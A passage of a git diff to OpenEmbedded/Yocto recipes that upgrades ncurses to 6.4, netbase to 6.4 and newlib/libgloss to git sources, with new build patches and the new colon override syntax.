-1.8.3.1
-
+ # check if $ARFLAGS already contains this choice
diff --git a/meta/recipes-core/ncurses/files/0003-gen-pkgconfig.in-Do-not-include-LDFLAGS-in-generated.patch b/meta/recipes-core/ncurses/files/0003-gen-pkgconfig.in-Do-not-include-LDFLAGS-in-generated.patch
new file mode 100644
index 0000000000..a15694d4d4
--- /dev/null
+++ b/meta/recipes-core/ncurses/files/0003-gen-pkgconfig.in-Do-not-include-LDFLAGS-in-generated.patch
@@ -0,0 +1,30 @@
+From 10cd0c12a6e14fb4f0498c299c1dd32720b710da Mon Sep 17 00:00:00 2001
+From: Nathan Rossi <nathan@nathanrossi.com>
+Date: Mon, 14 Dec 2020 13:39:02 +1000
+Subject: [PATCH] gen-pkgconfig.in: Do not include LDFLAGS in generated pc
+ files
+
+Including the LDFLAGS in the pkgconfig output is problematic as OE
+includes build host specific paths and options (e.g. uninative and
+'-Wl,--dynamic-linker=').
+
+Upstream-Status: Inappropriate [OE Specific]
+Signed-off-by: Nathan Rossi <nathan@nathanrossi.com>
+
+---
+ misc/gen-pkgconfig.in | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/misc/gen-pkgconfig.in b/misc/gen-pkgconfig.in
+index a45dd54f..85273054 100644
+--- a/misc/gen-pkgconfig.in
++++ b/misc/gen-pkgconfig.in
+@@ -83,7 +83,7 @@ if [ "$includedir" != "/usr/include" ]; then
+ fi
+
+ lib_flags=
+-for opt in -L$libdir @EXTRA_PKG_LDFLAGS@ @LIBS@
++for opt in -L$libdir @LIBS@
+ do
+ case $opt in
+ -l*) # LIBS is handled specially below
diff --git a/meta/recipes-core/ncurses/files/config.cache b/meta/recipes-core/ncurses/files/config.cache
deleted file mode 100644
index 6a9217d5bb..0000000000
--- a/meta/recipes-core/ncurses/files/config.cache
+++ /dev/null
@@ -1,4 +0,0 @@
-#! /bin/sh
-
-cf_cv_func_nanosleep=yes
-cf_cv_func_mkstemp=yes
diff --git a/meta/recipes-core/ncurses/files/exit_prototype.patch b/meta/recipes-core/ncurses/files/exit_prototype.patch
new file mode 100644
index 0000000000..fd961512e0
--- /dev/null
+++ b/meta/recipes-core/ncurses/files/exit_prototype.patch
@@ -0,0 +1,32 @@
+From 4a769a441d7e57a23017c3037cde3e53fb9f35fe Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Tue, 30 Aug 2022 15:58:32 -0700
+Subject: [PATCH] Add needed headers for including mbstate_t and exit()
+
+Upstream-Status: Inappropriate [Reconfigure will solve it]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
+---
+ configure | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/configure b/configure
+index f377f551..163f8899 100755
+--- a/configure
++++ b/configure
+@@ -3423,6 +3423,7 @@ rm -f "conftest.$ac_objext" "conftest.$ac_ext"
+ cat >"conftest.$ac_ext" <<_ACEOF
+ #line 3424 "configure"
+ #include "confdefs.h"
++#include <stdlib.h>
+ $ac_declaration
+ int
+ main (void)
+@@ -13111,6 +13112,7 @@ cat >"conftest.$ac_ext" <<_ACEOF
+ #include <stdlib.h>
+ #include <stdarg.h>
+ #include <stdio.h>
++#include <wchar.h>
+ #ifdef HAVE_LIBUTF8_H
+ #include <libutf8.h>
+ #endif
diff --git a/meta/recipes-core/ncurses/ncurses.inc b/meta/recipes-core/ncurses/ncurses.inc
index 4156bf4f7d..761b6a3d31 100644
--- a/meta/recipes-core/ncurses/ncurses.inc
+++ b/meta/recipes-core/ncurses/ncurses.inc
@@ -2,10 +2,10 @@ SUMMARY = "The New Curses library"
DESCRIPTION = "SVr4 and XSI-Curses compatible curses library and terminfo tools including tic, infocmp, captoinfo. Supports color, multiple highlights, forms-drawing characters, and automatic recognition of keypad and function-key sequences. Extensions include resizable windows and mouse support on both xterm and Linux console using the gpm library."
HOMEPAGE = "http://www.gnu.org/software/ncurses/ncurses.html"
LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://ncurses/base/version.c;beginline=1;endline=27;md5=5526f2f3a29edc95538b368a4771edda"
+LIC_FILES_CHKSUM = "file://COPYING;md5=c5a4600fdef86384c41ca33ecc70a4b8;endline=27"
SECTION = "libs"
DEPENDS = "ncurses-native"
-DEPENDS_class-native = ""
+DEPENDS:class-native = ""
BINCONFIG = "${bindir}/ncurses5-config ${bindir}/ncursesw5-config \
${bindir}/ncurses6-config ${bindir}/ncursesw6-config"
@@ -13,10 +13,12 @@ BINCONFIG = "${bindir}/ncurses5-config ${bindir}/ncursesw5-config \
inherit autotools binconfig-disabled multilib_header pkgconfig
# Upstream has useful patches at times at ftp://invisible-island.net/ncurses/
-SRC_URI = "git://salsa.debian.org/debian/ncurses.git;protocol=https"
+SRC_URI = "git://github.com/mirror/ncurses.git;protocol=https;branch=master"
EXTRA_AUTORECONF = "-I m4"
-CONFIG_SITE =+ "${WORKDIR}/config.cache"
+
+CACHED_CONFIGUREVARS = "cf_cv_func_nanosleep=yes"
+CACHED_CONFIGUREVARS:append:linux = " cf_cv_working_poll=yes"
EXTRASITECONFIG = "CFLAGS='${CFLAGS} -I${SYSROOT_DESTDIR}${includedir}'"
@@ -25,23 +27,21 @@ EXTRASITECONFIG = "CFLAGS='${CFLAGS} -I${SYSROOT_DESTDIR}${includedir}'"
# TODO: remove this variable when widec is supported in every setup?
ENABLE_WIDEC ?= "true"
-# _GNU_SOURCE is required for widec stuff and is detected automatically
-# for target objects. But it must be set manually for native and sdk
-# builds.
-BUILD_CPPFLAGS += "-D_GNU_SOURCE"
+# _GNU_SOURCE is required for widec stuff and is not detected automatically
+CPPFLAGS += "-D_GNU_SOURCE"
# natives don't generally look in base_libdir
-base_libdir_class-native = "${libdir}"
+base_libdir:class-native = "${libdir}"
# Display corruption occurs on 64 bit hosts without these settings
# This was derrived from the upstream debian ncurses which uses
# these settings for 32 and 64 bit hosts.
EXCONFIG_ARGS = ""
-EXCONFIG_ARGS_class-native = " \
+EXCONFIG_ARGS:class-native = " \
--disable-lp64 \
--with-chtype='long' \
--with-mmask-t='long'"
-EXCONFIG_ARGS_class-nativesdk = " \
+EXCONFIG_ARGS:class-nativesdk = " \
--disable-lp64 \
--with-chtype='long' \
--with-mmask-t='long'"
@@ -54,11 +54,11 @@ PACKAGES_DYNAMIC = "^${PN}-lib.*"
# because the sstate had a hard coded search path. Until this is fixed
# another way this is deemed good enough.
EX_TERMCAP = ""
-EX_TERMCAP_class-native = ":/etc/termcap:/usr/share/misc/termcap"
-EX_TERMCAP_class-nativesdk = ":/etc/termcap:/usr/share/misc/termcap"
+EX_TERMCAP:class-native = ":/etc/termcap:/usr/share/misc/termcap"
+EX_TERMCAP:class-nativesdk = ":/etc/termcap:/usr/share/misc/termcap"
EX_TERMINFO = ""
-EX_TERMINFO_class-native = ":/etc/terminfo:/usr/share/terminfo:/usr/share/misc/terminfo:/lib/terminfo"
-EX_TERMINFO_class-nativesdk = ":/etc/terminfo:/usr/share/terminfo:/usr/share/misc/terminfo:/lib/terminfo"
+EX_TERMINFO:class-native = ":/etc/terminfo:/usr/share/terminfo:/usr/share/misc/terminfo:/lib/terminfo"
+EX_TERMINFO:class-nativesdk = ":/etc/terminfo:/usr/share/terminfo:/usr/share/misc/terminfo:/lib/terminfo"
EX_TERMLIB ?= "tinfo"
# Helper function for do_configure to allow multiple configurations
@@ -97,10 +97,6 @@ ncurses_configure() {
# patched autoconf213 to generate the configure script. This autoconf
# is not available so that the shipped script will be used.
do_configure() {
- # check does not work with cross-compiling and is generally
- # broken because it requires stdin to be pollable (which is
- # not the case for /dev/null redirections)
- export cf_cv_working_poll=yes
#Remove ${includedir} from CPPFLAGS, need for cross compile
sed -i 's#-I${cf_includedir}##g' ${S}/configure || die "sed CPPFLAGS"
@@ -241,10 +237,9 @@ do_install() {
mv ${D}${libdir}/libtinfo.so.* ${D}${base_libdir}
rm ${D}${libdir}/libtinfo.so
- # Use lnr to ensure this is a relative link despite absolute paths
+ # Use ln -rs to ensure this is a relative link despite absolute paths
# (as we can't know the relationship between base_libdir and libdir).
- # At some point we can rely on coreutils 8.16 which has ln -r.
- lnr ${D}${base_libdir}/libtinfo.so.5 ${D}${libdir}/libtinfo.so
+ ln -rs ${D}${base_libdir}/libtinfo.so.5 ${D}${libdir}/libtinfo.so
fi
if [ -d "${D}${includedir}/ncurses" ]; then
for f in `find ${D}${includedir}/ncurses -name "*.h"`
@@ -257,7 +252,7 @@ do_install() {
oe_multilib_header curses.h
}
-python populate_packages_prepend () {
+python populate_packages:prepend () {
libdir = d.expand("${libdir}")
base_libdir = d.expand("${base_libdir}")
pnbase = d.expand("${PN}-lib%s")
@@ -271,7 +266,12 @@ inherit update-alternatives
ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_ncurses-tools_class-target = "clear reset"
+ALTERNATIVE:ncurses-tools:class-target = "clear reset"
+ALTERNATIVE:ncurses-terminfo:class-target = "st st-256color"
+
+ALTERNATIVE_LINK_NAME[st] = "${datadir}/terminfo/s/st"
+
+ALTERNATIVE_LINK_NAME[st-256color] = "${datadir}/terminfo/s/st-256color"
BBCLASSEXTEND = "native nativesdk"
@@ -281,7 +281,7 @@ PACKAGES += " \
${PN}-terminfo \
"
-FILES_${PN} = "\
+FILES:${PN} = "\
${bindir}/tput \
${bindir}/tset \
${bindir}/ncurses5-config \
@@ -293,7 +293,7 @@ FILES_${PN} = "\
# This keeps only tput/tset in ncurses
# clear/reset are in already busybox
-FILES_${PN}-tools = "\
+FILES:${PN}-tools = "\
${bindir}/tic \
${bindir}/toe \
${bindir}/infotocap \
@@ -306,15 +306,20 @@ FILES_${PN}-tools = "\
"
# 'reset' is a symlink to 'tset' which is in the 'ncurses' package
-RDEPENDS_${PN}-tools = "${PN}"
+RDEPENDS:${PN}-tools = "${PN} ${PN}-terminfo-base"
-FILES_${PN}-terminfo = "\
+FILES:${PN}-terminfo = "\
${datadir}/terminfo \
"
-FILES_${PN}-terminfo-base = "\
+FILES:${PN}-terminfo-base = "\
${sysconfdir}/terminfo \
"
-RSUGGESTS_${PN}-libtinfo = "${PN}-terminfo"
-RRECOMMENDS_${PN}-libtinfo = "${PN}-terminfo-base"
+RSUGGESTS:${PN}-libtinfo = "${PN}-terminfo"
+RRECOMMENDS:${PN}-libtinfo = "${PN}-terminfo-base"
+
+# Putting terminfo into the sysroot adds around 2800 files to
+# each recipe specific sysroot. We can live without this, particularly
+# as many recipes may have native and target copies.
+SYSROOT_DIRS:remove = "${datadir}"
diff --git a/meta/recipes-core/ncurses/ncurses_6.2.bb b/meta/recipes-core/ncurses/ncurses_6.2.bb
deleted file mode 100644
index 723e685a9b..0000000000
--- a/meta/recipes-core/ncurses/ncurses_6.2.bb
+++ /dev/null
@@ -1,14 +0,0 @@
-require ncurses.inc
-
-SRC_URI += "file://0001-tic-hang.patch \
- file://0002-configure-reproducible.patch \
- file://config.cache \
- "
-# commit id corresponds to the revision in package version
-SRCREV = "a669013cd5e9d6434e5301348ea51baf306c93c4"
-S = "${WORKDIR}/git"
-EXTRA_OECONF += "--with-abi-version=5 --cache-file=${B}/config.cache"
-UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+(\+\d+)*)"
-
-# This is needed when using patchlevel versions like 6.1+20181013
-#CVE_VERSION = "${@d.getVar("PV").split('+')[0]}.${@d.getVar("PV").split('+')[1]}"
diff --git a/meta/recipes-core/ncurses/ncurses_6.4.bb b/meta/recipes-core/ncurses/ncurses_6.4.bb
new file mode 100644
index 0000000000..2c621525f9
--- /dev/null
+++ b/meta/recipes-core/ncurses/ncurses_6.4.bb
@@ -0,0 +1,17 @@
+require ncurses.inc
+
+SRC_URI += "file://0001-tic-hang.patch \
+ file://0002-configure-reproducible.patch \
+ file://0003-gen-pkgconfig.in-Do-not-include-LDFLAGS-in-generated.patch \
+ file://exit_prototype.patch \
+ file://0001-Fix-CVE-2023-29491.patch \
+ file://0001-Updating-reset-code-ncurses-6.4-patch-20231104.patch \
+ "
+# commit id corresponds to the revision in package version
+SRCREV = "79b9071f2be20a24c7be031655a5638f6032f29f"
+S = "${WORKDIR}/git"
+EXTRA_OECONF += "--with-abi-version=5"
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+)$"
+
+# This is needed when using patchlevel versions like 6.1+20181013
+#CVE_VERSION = "${@d.getVar("PV").split('+')[0]}.${@d.getVar("PV").split('+')[1]}"
diff --git a/meta/recipes-core/netbase/netbase_6.1.bb b/meta/recipes-core/netbase/netbase_6.1.bb
deleted file mode 100644
index bc0049c020..0000000000
--- a/meta/recipes-core/netbase/netbase_6.1.bb
+++ /dev/null
@@ -1,20 +0,0 @@
-SUMMARY = "Basic TCP/IP networking support"
-DESCRIPTION = "This package provides the necessary infrastructure for basic TCP/IP based networking"
-HOMEPAGE = "http://packages.debian.org/netbase"
-SECTION = "base"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://debian/copyright;md5=3dd6192d306f582dee7687da3d8748ab"
-PE = "1"
-
-SRC_URI = "${DEBIAN_MIRROR}/main/n/${BPN}/${BPN}_${PV}.tar.xz"
-
-SRC_URI[md5sum] = "e5871a3a5c8390557b8033cf19316a55"
-SRC_URI[sha256sum] = "084d743bd84d4d9380bac4c71c51e57406dce44f5a69289bb823c903e9b035d8"
-
-UPSTREAM_CHECK_URI = "${DEBIAN_MIRROR}/main/n/netbase/"
-do_install () {
- install -d ${D}/${mandir}/man8 ${D}${sysconfdir}
- install -m 0644 ${S}/etc/rpc ${D}${sysconfdir}/rpc
- install -m 0644 ${S}/etc/protocols ${D}${sysconfdir}/protocols
- install -m 0644 ${S}/etc/services ${D}${sysconfdir}/services
-}
diff --git a/meta/recipes-core/netbase/netbase_6.4.bb b/meta/recipes-core/netbase/netbase_6.4.bb
new file mode 100644
index 0000000000..5a448a4b91
--- /dev/null
+++ b/meta/recipes-core/netbase/netbase_6.4.bb
@@ -0,0 +1,25 @@
+SUMMARY = "Basic TCP/IP networking support"
+DESCRIPTION = "This package provides the necessary infrastructure for basic TCP/IP based networking"
+HOMEPAGE = "http://packages.debian.org/netbase"
+SECTION = "base"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://debian/copyright;md5=78dd2c7c6f487348e4a0092c17a19d42"
+PE = "1"
+
+SRC_URI = "${DEBIAN_MIRROR}/main/n/${BPN}/${BPN}_${PV}.tar.xz"
+
+inherit allarch
+
+SRC_URI[sha256sum] = "fa6621826ff1150e581bd90bc3c8a4ecafe5df90404f207db6dcdf2c75f26ad7"
+
+UPSTREAM_CHECK_URI = "${DEBIAN_MIRROR}/main/n/netbase/"
+
+do_install () {
+ install -d ${D}${sysconfdir}
+ install -m 0644 ${S}/etc/rpc ${D}${sysconfdir}/rpc
+ install -m 0644 ${S}/etc/protocols ${D}${sysconfdir}/protocols
+ install -m 0644 ${S}/etc/services ${D}${sysconfdir}/services
+ install -m 0644 ${S}/etc/ethertypes ${D}${sysconfdir}/ethertypes
+}
+
+S = "${WORKDIR}/netbase"
diff --git a/meta/recipes-core/newlib/libgloss/fix-rs6000-crt0.patch b/meta/recipes-core/newlib/libgloss/fix-rs6000-crt0.patch
index c220fb8437..8c29fea8cf 100644
--- a/meta/recipes-core/newlib/libgloss/fix-rs6000-crt0.patch
+++ b/meta/recipes-core/newlib/libgloss/fix-rs6000-crt0.patch
@@ -5,35 +5,41 @@ name for crt0 in specific, so performing all of them results in an error during
do_install, we simply modify the name of the objects so the installation can proceed
and leave it to the user to select which object files to use.
-Signed-off-by: Alejandro Enedino Hernandez Samaniego <alejandr@xilinx.com>
-Index: newlib-3.0.0/libgloss/rs6000/Makefile.in
+01/2023: Rebased for libgloss 4.3.0
+
+Signed-off-by: Alejandro Enedino Hernandez Samaniego <alejandro@enedino.org>
+
+
+Index: git/libgloss/rs6000/Makefile.in
===================================================================
---- newlib-3.0.0.orig/libgloss/rs6000/Makefile.in
-+++ newlib-3.0.0/libgloss/rs6000/Makefile.in
-@@ -358,7 +358,7 @@ install-sim:
- set -e; for x in ${SIM_CRT0} ${SIM_BSP} ${SIM_SCRIPTS}; do ${INSTALL_DATA} $$x $(DESTDIR)${tooldir}/lib${MULTISUBDIR}/$$x; done
+--- git.orig/libgloss/rs6000/Makefile.in
++++ git/libgloss/rs6000/Makefile.in
+@@ -362,7 +362,7 @@ install-sim:
install-mvme:
+ ${mkinstalldirs} ${DESTDIR}${tooldir}/lib${MULTISUBDIR}
- set -e; for x in ${MVME_CRT0} ${MVME_BSP} ${MVME_SCRIPTS}; do ${INSTALL_DATA} $$x $(DESTDIR)${tooldir}/lib${MULTISUBDIR}/$$x; done
+ set -e; for x in ${MVME_CRT0} ${MVME_BSP} ${MVME_SCRIPTS}; do ${INSTALL_DATA} $$x $(DESTDIR)${tooldir}/lib${MULTISUBDIR}/mvme-$$x; done
install-solaris:
- set -e; for x in ${SOLARIS_CRT0} ${SOLARIS_BSP} ${SOLARIS_SCRIPTS}; do ${INSTALL_DATA} $$x $(DESTDIR)${tooldir}/lib${MULTISUBDIR}/$$x; done
-@@ -367,15 +367,15 @@ install-linux:
- set -e; for x in ${LINUX_CRT0} ${LINUX_BSP} ${LINUX_SCRIPTS}; do ${INSTALL_DATA} $$x $(DESTDIR)${tooldir}/lib${MULTISUBDIR}/$$x; done
+ ${mkinstalldirs} ${DESTDIR}${tooldir}/lib${MULTISUBDIR}
+@@ -374,17 +374,17 @@ install-linux:
install-yellowknife:
+ ${mkinstalldirs} ${DESTDIR}${tooldir}/lib${MULTISUBDIR}
- set -e; for x in ${YELLOWKNIFE_CRT0} ${YELLOWKNIFE_BSP}; do ${INSTALL_DATA} $$x $(DESTDIR)${tooldir}/lib${MULTISUBDIR}/$$x; done
+ set -e; for x in ${YELLOWKNIFE_CRT0} ${YELLOWKNIFE_BSP}; do ${INSTALL_DATA} $$x $(DESTDIR)${tooldir}/lib${MULTISUBDIR}/yellowknife-$$x; done
set -e; for x in ${YELLOWKNIFE_SCRIPTS}; do ${INSTALL_DATA} $(srcdir)/$$x $(DESTDIR)${tooldir}/lib${MULTISUBDIR}/$$x; done
install-ads:
+ ${mkinstalldirs} ${DESTDIR}${tooldir}/lib${MULTISUBDIR}
- set -e; for x in ${ADS_CRT0} ${ADS_BSP}; do ${INSTALL_DATA} $$x $(DESTDIR)${tooldir}/lib${MULTISUBDIR}/$$x; done
+ set -e; for x in ${ADS_CRT0} ${ADS_BSP}; do ${INSTALL_DATA} $$x $(DESTDIR)${tooldir}/lib${MULTISUBDIR}/ads-$$x; done
set -e; for x in ${ADS_SCRIPTS}; do ${INSTALL_DATA} $(srcdir)/$$x $(DESTDIR)${tooldir}/lib${MULTISUBDIR}/$$x; done
install-mbx:
+ ${mkinstalldirs} ${DESTDIR}${tooldir}/lib${MULTISUBDIR}
- set -e; for x in ${MBX_CRT0} ${MBX_BSP}; do ${INSTALL_DATA} $$x $(DESTDIR)${tooldir}/lib${MULTISUBDIR}/$$x; done
+ set -e; for x in ${MBX_CRT0} ${MBX_BSP}; do ${INSTALL_DATA} $$x $(DESTDIR)${tooldir}/lib${MULTISUBDIR}/mbx-$$x; done
set -e; for x in ${MBX_SCRIPTS} ${MBX_SPECS}; do ${INSTALL_DATA} $(srcdir)/$$x $(DESTDIR)${tooldir}/lib${MULTISUBDIR}/$$x; done
diff --git a/meta/recipes-core/newlib/libgloss/fix_makefile_include_arm_h.patch b/meta/recipes-core/newlib/libgloss/fix_makefile_include_arm_h.patch
deleted file mode 100644
index 7645be7314..0000000000
--- a/meta/recipes-core/newlib/libgloss/fix_makefile_include_arm_h.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-Upstream-Status: Inappropriate [OE-Specific]
-
-When trying to build libgloss for an arm target, the build system
-complains about missing some include files:
-
-| fatal error: acle-compiat.h: No such file or directory
-| #include "acle-compat.h"
-| ^~~~~~~~~~~~~~~
-| compilation terminated.
-
-These include files come from the newlib source, but since we
-are building libgloss separately from newlib, libgloss is unaware
-of where they are, this patch fixes the INCLUDES so the build system
-can find such files.
-
-Signed-off-by: Alejandro Enedino Hernandez Samaniego <alejandr@xilinx.com>
-
-Index: newlib-3.0.0/libgloss/config/default.mh
-===================================================================
---- newlib-3.0.0.orig/libgloss/config/default.mh
-+++ newlib-3.0.0/libgloss/config/default.mh
-@@ -1,7 +1,7 @@
- NEWLIB_CFLAGS = `if [ -d ${objroot}/newlib ]; then echo -I${objroot}/newlib/targ-include -I${srcroot}/newlib/libc/include; fi`
- NEWLIB_LDFLAGS = `if [ -d ${objroot}/newlib ]; then echo -B${objroot}/newlib/ -L${objroot}/newlib/; fi`
-
--INCLUDES = -I. -I$(srcdir)/..
-+INCLUDES = -I. -I$(srcdir)/.. -I$(srcdir)/../newlib/libc/machine/arm
- # Note that when building the library, ${MULTILIB} is not the way multilib
- # options are passed; they're passed in $(CFLAGS).
- CFLAGS_FOR_TARGET = -O2 -g ${MULTILIB} ${INCLUDES} ${NEWLIB_CFLAGS}
diff --git a/meta/recipes-core/newlib/libgloss/libgloss-build-without-nostdinc.patch b/meta/recipes-core/newlib/libgloss/libgloss-build-without-nostdinc.patch
new file mode 100644
index 0000000000..2b66155eea
--- /dev/null
+++ b/meta/recipes-core/newlib/libgloss/libgloss-build-without-nostdinc.patch
@@ -0,0 +1,30 @@
+Upstream-Status: Inappropriate [OE-Specific]
+
+Since commit e0c0ad82 libgloss started passing the -nostdinc to CC.
+
+They dont want to build against C library headers that are already in
+the system to avoid pollution, however, we purposely build libgloss
+against the newly built newlib C library, thats why we keep newlib
+and libgloss in separate recipes and create a dependency between them.
+
+This causes an issue where bitbake stops finding newlib headers while
+libgloss is being built.
+
+Do not pass -nostdinc to CC to maintain current behavior of
+TCLIBC=newlib
+
+
+Signed-off-by: Alejandro Enedino Hernandez Samaniego <alejandro@enedino.org>
+Index: newlib-3.0.0/libgloss/configure
+===================================================================
+--- newlib-3.0.0.orig/libgloss/configure
++++ newlib-3.0.0/libgloss/configure
+@@ -5106,7 +5106,7 @@ fi
+ fi
+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $libc_cv_compiler_isystem" >&5
+ $as_echo "$libc_cv_compiler_isystem" >&6; }
+-CC="$CC -nostdinc $libc_cv_compiler_isystem"
++CC="$CC $libc_cv_compiler_isystem"
+
+ host_makefile_frag_path=$host_makefile_frag
+
diff --git a/meta/recipes-core/newlib/libgloss_3.3.0.bb b/meta/recipes-core/newlib/libgloss_3.3.0.bb
deleted file mode 100644
index c9ed30d988..0000000000
--- a/meta/recipes-core/newlib/libgloss_3.3.0.bb
+++ /dev/null
@@ -1,33 +0,0 @@
-require newlib.inc
-
-DEPENDS += "newlib"
-
-FILESEXTRAPATHS_prepend := "${THISDIR}/libgloss:"
-
-SRC_URI_append_powerpc = " file://fix-rs6000-crt0.patch"
-SRC_URI_append_arm = " file://fix_makefile_include_arm_h.patch"
-
-do_configure() {
- ${S}/libgloss/configure ${EXTRA_OECONF}
-}
-
-do_install_prepend() {
- # install doesn't create this itself, avoid install error
- install -d ${D}${prefix}/${TARGET_SYS}/lib
-}
-
-do_install_append() {
- # Move libs to default directories so they can be picked up later
- install -d ${D}${libdir}
- mv -v ${D}${prefix}/${TARGET_SYS}/lib/* ${D}${libdir}
-
- # Remove original directory
- rmdir -p --ignore-fail-on-non-empty ${D}${prefix}/${TARGET_SYS}/lib
-}
-
-# Split packages correctly
-FILES_${PN} += "${libdir}/*.ld ${libdir}/*.specs"
-FILES_${PN}-dev += "${libdir}/cpu-init/*"
-
-INHIBIT_PACKAGE_STRIP = "1"
-INHIBIT_PACKAGE_DEBUG_SPLIT = "1"
diff --git a/meta/recipes-core/newlib/libgloss_git.bb b/meta/recipes-core/newlib/libgloss_git.bb
new file mode 100644
index 0000000000..7e34e33c7a
--- /dev/null
+++ b/meta/recipes-core/newlib/libgloss_git.bb
@@ -0,0 +1,36 @@
+require newlib.inc
+
+DEPENDS += "newlib"
+
+FILESEXTRAPATHS:prepend := "${THISDIR}/libgloss:"
+
+SRC_URI:append = " file://libgloss-build-without-nostdinc.patch"
+SRC_URI:append:powerpc = " file://fix-rs6000-crt0.patch"
+SRC_URI:append:powerpc = " file://fix-rs6000-cflags.patch"
+
+do_configure() {
+ ${S}/libgloss/configure ${EXTRA_OECONF}
+}
+
+do_install:prepend() {
+ # install doesn't create this itself, avoid install error
+ install -d ${D}${prefix}/${TARGET_SYS}/lib
+}
+
+do_install:append() {
+ # Move libs to default directories so they can be picked up later
+ install -d ${D}${libdir}
+ mv -v ${D}${prefix}/${TARGET_SYS}/lib/* ${D}${libdir}
+
+ # Remove original directory
+ rmdir -p --ignore-fail-on-non-empty ${D}${prefix}/${TARGET_SYS}/lib
+}
+
+# Split packages correctly
+FILES:${PN} += "${libdir}/*.ld ${libdir}/*.specs"
+FILES:${PN}-dev += "${libdir}/cpu-init/*"
+# RiscV installation moved the syscall header to this location
+FILES:${PN}-dev += "${prefix}/${TARGET_SYS}/include/machine/*.h"
+
+INHIBIT_PACKAGE_STRIP = "1"
+INHIBIT_PACKAGE_DEBUG_SPLIT = "1"
diff --git a/meta/recipes-core/newlib/newlib.inc b/meta/recipes-core/newlib/newlib.inc
index 96e230f985..6113f5e831 100644
--- a/meta/recipes-core/newlib/newlib.inc
+++ b/meta/recipes-core/newlib/newlib.inc
@@ -3,29 +3,30 @@ HOMEPAGE = "https://sourceware.org/newlib/"
DESCRIPTION = "C library intended for use on embedded systems. It is a conglomeration of several library parts, all under free software licenses that make them easily usable on embedded products."
SECTION = "libs"
-LICENSE = "GPLv2 & LGPLv3 & GPLv3 & LGPLv2 & BSD-2-Clause & tcl"
+LICENSE = "GPL-2.0-only & LGPL-3.0-only & GPL-3.0-only & LGPL-2.0-only & BSD-2-Clause & BSD-3-Clause & TCL & Apache-2.0-with-LLVM-exception"
LIC_FILES_CHKSUM = " \
file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552 \
file://COPYING3.LIB;md5=6a6a8e020838b23406c81b19c1d46df6 \
file://COPYING3;md5=d32239bcb673463ab874e80d47fae504 \
- file://COPYING.LIBGLOSS;md5=54b778d585443cd7fbfa1b47cbd63a89 \
+ file://COPYING.LIBGLOSS;md5=c0469b6ebb847a75781066be515f032d \
file://COPYING.LIB;md5=2d5025d4aa3495befef8f17206a5b0a1 \
- file://COPYING.NEWLIB;md5=ac17c68751aad7a5298ce3f249121070 \
+ file://COPYING.NEWLIB;md5=4f1a15846ffee91e352418563e1bce27 \
file://newlib/libc/posix/COPYRIGHT;md5=103468ff1982be840fdf4ee9f8b51bbf \
- file://newlib/libc/sys/linux/linuxthreads/LICENSE;md5=73640207fbc79b198c7ffd4ad4d97aa0 \
"
-SRC_URI = "https://sourceware.org/pub/newlib/newlib-${PV}.tar.gz"
-SRC_URI[sha256sum] = "58dd9e3eaedf519360d92d84205c3deef0b3fc286685d1c562e245914ef72c66"
+BASEVER = "4.4.0"
+PV = "${BASEVER}+git"
+SRC_URI = "git://sourceware.org/git/newlib-cygwin.git;protocol=https;branch=main"
+SRCREV="ad11e2587f83d61357a32c61c36d72ea4f39315e"
INHIBIT_DEFAULT_DEPS = "1"
DEPENDS = "virtual/${TARGET_PREFIX}gcc"
-S = "${WORKDIR}/newlib-${PV}"
+S = "${WORKDIR}/git"
B = "${WORKDIR}/build"
## disable stdlib
-TARGET_CC_ARCH_append = " -nostdlib"
+TARGET_CC_ARCH:append = " -nostdlib"
EXTRA_OECONF = " \
--build=${BUILD_SYS} \
@@ -46,9 +47,15 @@ EXTRA_OECONF = " \
do_configure[cleandirs] = "${B}"
+# We need a dummy limits.h to pass preprocessor checks
+do_configure:append(){
+ install -d ${STAGING_INCDIR}
+ touch ${STAGING_INCDIR}/limits.h
+}
+
do_install() {
oe_runmake install DESTDIR='${D}'
}
-COMPATIBLE_HOST_libc-musl_class-target = "null"
-COMPATIBLE_HOST_libc-glibc_class-target = "null"
+COMPATIBLE_HOST:libc-musl:class-target = "null"
+COMPATIBLE_HOST:libc-glibc:class-target = "null"
diff --git a/meta/recipes-core/newlib/newlib_3.3.0.bb b/meta/recipes-core/newlib/newlib_3.3.0.bb
deleted file mode 100644
index 7ab5b2b94e..0000000000
--- a/meta/recipes-core/newlib/newlib_3.3.0.bb
+++ /dev/null
@@ -1,20 +0,0 @@
-require newlib.inc
-
-PROVIDES += "virtual/libc virtual/libiconv virtual/libintl"
-
-do_configure() {
- export CC_FOR_TARGET="${CC}"
- ${S}/configure ${EXTRA_OECONF}
-}
-
-do_install_append() {
- # Move include files and libs to default directories so they can be picked up later
- mv -v ${D}${prefix}/${TARGET_SYS}/lib ${D}${libdir}
- mv -v ${D}${prefix}/${TARGET_SYS}/include ${D}${includedir}
-
- # Remove original directory
- rmdir ${D}${prefix}/${TARGET_SYS}
-}
-
-# No rpm package is actually created but -dev depends on it, avoid dnf error
-RDEPENDS_${PN}-dev_libc-newlib = ""
diff --git a/meta/recipes-core/newlib/newlib_git.bb b/meta/recipes-core/newlib/newlib_git.bb
new file mode 100644
index 0000000000..fb922d65d1
--- /dev/null
+++ b/meta/recipes-core/newlib/newlib_git.bb
@@ -0,0 +1,20 @@
+require newlib.inc
+
+PROVIDES += "virtual/libc virtual/libiconv virtual/libintl"
+
+do_configure() {
+ export CC_FOR_TARGET="${CC}"
+ ${S}/configure ${EXTRA_OECONF}
+}
+
+do_install:append() {
+ # Move include files and libs to default directories so they can be picked up later
+ mv -v ${D}${prefix}/${TARGET_SYS}/lib ${D}${libdir}
+ mv -v ${D}${prefix}/${TARGET_SYS}/include ${D}${includedir}
+
+ # Remove original directory
+ rmdir ${D}${prefix}/${TARGET_SYS}
+}
+
+# No rpm package is actually created but -dev depends on it, avoid dnf error
